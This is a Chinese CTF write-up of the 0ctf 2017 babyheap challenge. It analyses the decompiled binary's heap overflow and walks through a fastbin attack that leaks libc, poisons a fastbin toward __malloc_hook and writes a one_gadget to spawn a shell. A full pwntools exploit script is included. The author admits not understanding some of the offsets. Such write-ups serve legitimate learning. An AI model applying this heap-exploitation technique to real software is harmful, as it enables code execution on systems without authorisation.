0ctf2017 babyheap

这题也算折磨我挺久了,看着师傅们一个个都做出来了,我却一点思路都么得,属实有点慌
这题就是个典型的fastbin attack,写这篇write-up也作为对于常用fastbin attack攻击思路的学习总结
首先检查保护

[*] '/home/N0vice/Desktop/BUUCTF/babyheap_0ctf_2017/babyheap_0ctf_2017'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

所有保护都开了,got表不可写
分析伪代码(add等函数我已重命名)
标准笔记管理系统

int sub_CF4()
{
  puts("1. Allocate");
  puts("2. Fill");
  puts("3. Free");
  puts("4. Dump");
  puts("5. Exit");
  return printf("Command: ");
}
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char *v4; // [rsp+8h] [rbp-8h]

  v4 = sub_B70();
  while ( 1 )
  {
    menu();
    get_number();
    switch ( off_14F4 )
    {
      case 1uLL:
        add(v4);
        break;
      case 2uLL:
        edit(v4);
        break;
      case 3uLL:
        delete(v4);
        break;
      case 4uLL:
        show(v4);
        break;
      case 5uLL:
        return 0LL;
      default:
        continue;
    }
  }
}
void __fastcall add(__int64 a1)
{
  signed int i; // [rsp+10h] [rbp-10h]
  signed int v2; // [rsp+14h] [rbp-Ch]
  void *v3; // [rsp+18h] [rbp-8h]

  for ( i = 0; i <= 15; ++i )
  {
    if ( !*(24LL * i + a1) )
    {
      printf("Size: ");
      v2 = get_number();
      if ( v2 > 0 )
      {
        if ( v2 > 4096 )
          v2 = 4096;
        v3 = calloc(v2, 1uLL);
        if ( !v3 )
          exit(-1);
        *(24LL * i + a1) = 1;
        *(a1 + 24LL * i + 8) = v2;
        *(a1 + 24LL * i + 16) = v3;
        printf("Allocate Index %d\n", i);
      }
      return;
    }
  }
}

使用calloc申请chunk,会将chunk中的内容全部清零

__int64 __fastcall edit(__int64 a1)
{
  __int64 result; // rax
  int v2; // [rsp+18h] [rbp-8h]
  int v3; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  result = get_number();
  v2 = result;
  if ( result >= 0 && result <= 15 )
  {
    result = *(24LL * result + a1);
    if ( result == 1 )
    {
      printf("Size: ");
      result = get_number();
      v3 = result;
      if ( result > 0 )
      {
        printf("Content: ");
        result = sub_11B2(*(24LL * v2 + a1 + 16), v3);
      }
    }
  }
  return result;
}

fill未检查size是否小于add的chunk size,可造成堆溢出

__int64 __fastcall delete(__int64 a1)
{
  __int64 result; // rax
  int v2; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  result = get_number();
  v2 = result;
  if ( result >= 0 && result <= 15 )
  {
    result = *(24LL * result + a1);
    if ( result == 1 )
    {
      *(24LL * v2 + a1) = 0;
      *(24LL * v2 + a1 + 8) = 0LL;
      free(*(24LL * v2 + a1 + 16));
      result = 24LL * v2 + a1;
      *(result + 16) = 0LL;
    }
  }
  return result;
}

指针置零,无UAF

signed int __fastcall show(__int64 a1)
{
  signed int result; // eax
  signed int v2; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  result = get_number();
  v2 = result;
  if ( result >= 0 && result <= 15 )
  {
    result = *(24LL * result + a1);
    if ( result == 1 )
    {
      puts("Content: ");
      sub_130F(*(24LL * v2 + a1 + 16), *(24LL * v2 + a1 + 8));
      result = puts(byte_14F1);
    }
  }
  return result;
}

show函数无漏洞

分析

无UAF,且calloc会对内存进行清空,难以leak

思路

利用堆溢出,leak出地址,将malloc_hook改one_gadget一把梭,gg
如何leak呢,我们知道需要一块被free的内存里面存在悬垂指针,然后我们打印出来,就能leak出地址
但是这里不存在UAF,chunk在free之后和刚calloc的时候都会被清空,那么我们要得到一块已经free,但是里面又存在地址的chunk,这时候我们就要用到这个堆溢出了,改写size,将已经free的chunk包含在没有free的chunk中,让系统以为两块chunk是同一块没有free的chunk,这样show的时候就能将已经free的chunk里的内容leak出来
梳理一下思路:
①add 4个chunk,标号0,1,2,3
②free chunk1,通过edit chunk0,将chunk1的size改为两倍,这样就能将chunk2包含进去
③add size==2*chunk1,获得了一个包含chunk2的chunk1,size变为原来的两倍
④通过edit chunk1,将chunk2的size恢复
⑤free chunk2,此时chunk2的fd指向unsorted bin的地址,同时也是main_arena+88
⑥打印chunk1,由于chunk1包含了已经free的chunk2,所以可以接收到main_arena+88,计算出libc_base以及malloc_hook的地址
⑦将free掉的chunk2 add回来,同时add两块大小为0x60的chunk,标号为4,5
⑧将chunk5 free掉,通过edit chunk4,溢出修改chunk5的fd位为malloc_hook-0x23
这个时候,bins里长这样

⑨将chunk5 add回来,再add一次0x60大小的chunk,就能获得一块首地址为malloc_hook-0x23的chunk6
add一次之后,bins长这样

add两次之后长这样

但是现在在heap里看不到最后一个chunk6,因为不相邻
⑩edit chunk6,因为首地址是malloc_hook-0x23,减去chunk头,距离malloc_hook还有0x13,填充0x13个a,就能改写malloc_hook指向的值,将其改为one_gadget
⑪随便add一下,调用calloc函数,就能调用malloc_hook,getshell

为什么?

问:为什么要将chunk2的size恢复?
答:fastbin有检查,chunk_size必须与相应的fastbin_index匹配
问:为什么是0x60大小的chunk?为什么是malloc_hook-0x23?
答:我不知道,记住就vans啦

exp

#!/usr/bin/env python
#coding=utf-8
from pwn import*
import sys
#context.log_level = 'debug'
context.terminal = ['terminator','-x','sh','-c']
binary = './babyheap_0ctf_2017' 
local = 1
if local == 1:
    p=process(binary)
else:
    p=remote("node3.buuoj.cn",28999)
elf=ELF(binary)
libc=elf.libc
def add(size):
    p.recvuntil("Command: ")
    p.sendline("1")
    p.recvuntil("Size: ")
    p.sendline(str(size))
def edit(index,size,content):
    p.recvuntil("Command: ")
    p.sendline("2")
    p.recvuntil("Index: ")
    p.sendline(str(index))
    p.recvuntil("Size: ")
    p.sendline(str(size))
    p.recvuntil("Content: ")
    p.sendline(str(content))
def delete(index):
    p.recvuntil("Command: ")
    p.sendline("3")
    p.recvuntil("Index: ")
    p.sendline(str(index))
def show(index):
    p.recvuntil("Command: ")
    p.sendline("4")
    p.recvuntil("Index: ")
    p.sendline(str(index))

def exp():
    add(0x90) # 0
    add(0x90) # 1
    add(0x90) # 2
    add(0x90) # 3
    delete(1)
    payload = "a"*0x90 + p64(0) + p64(0x141)
    edit(0,len(payload),payload)
    add(0x130) # 1
    payload = "a"*0x90 + p64(0) + p64(0xa1)
    edit(1,len(payload),payload)
    delete(2)
    show(1)
    #gdb.attach(p)
    p.recv(0xa0)
    libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 0x3c4b78
    log.success("libc_base==>" + hex(libc_base))
    malloc_hook = libc_base + libc.sym['__malloc_hook']
    add(0x90) # 2
    add(0x60) # 4
    add(0x60) # 5
    delete(5)
    payload = "a"*0x60 + p64(0) + p64(0x71) + p64(malloc_hook-0x23)
    edit(4,len(payload),payload)
    add(0x60) # 5
    add(0x60) # 6
    #gdb.attach(p)
    one_gadget = libc_base + 0x4526a
    payload = "a"*0x13 + p64(one_gadget)
    edit(6,len(payload),payload)
    add(0x10)
    p.interactive()
exp()

这个手法虽然看了很多文章,包括这个题wp也看了有很多篇,但是还是有点模模糊糊,不是很明白
如果有什么说错了的地方,希望师傅们能纠正
参考链接:
https://xz.aliyun.com/t/7490
https://thriumph.top/babyheap-0ctf-2017-fastbin-attack.html
https://aryb1n.github.io/2018/07/06/0ctf2017-babyheap/
https://bbs.pediy.com/thread-246786.htm
https://www.dazhuanlan.com/2019/10/16/5da734c818cb3/

您的鼓励将支持我继续努力!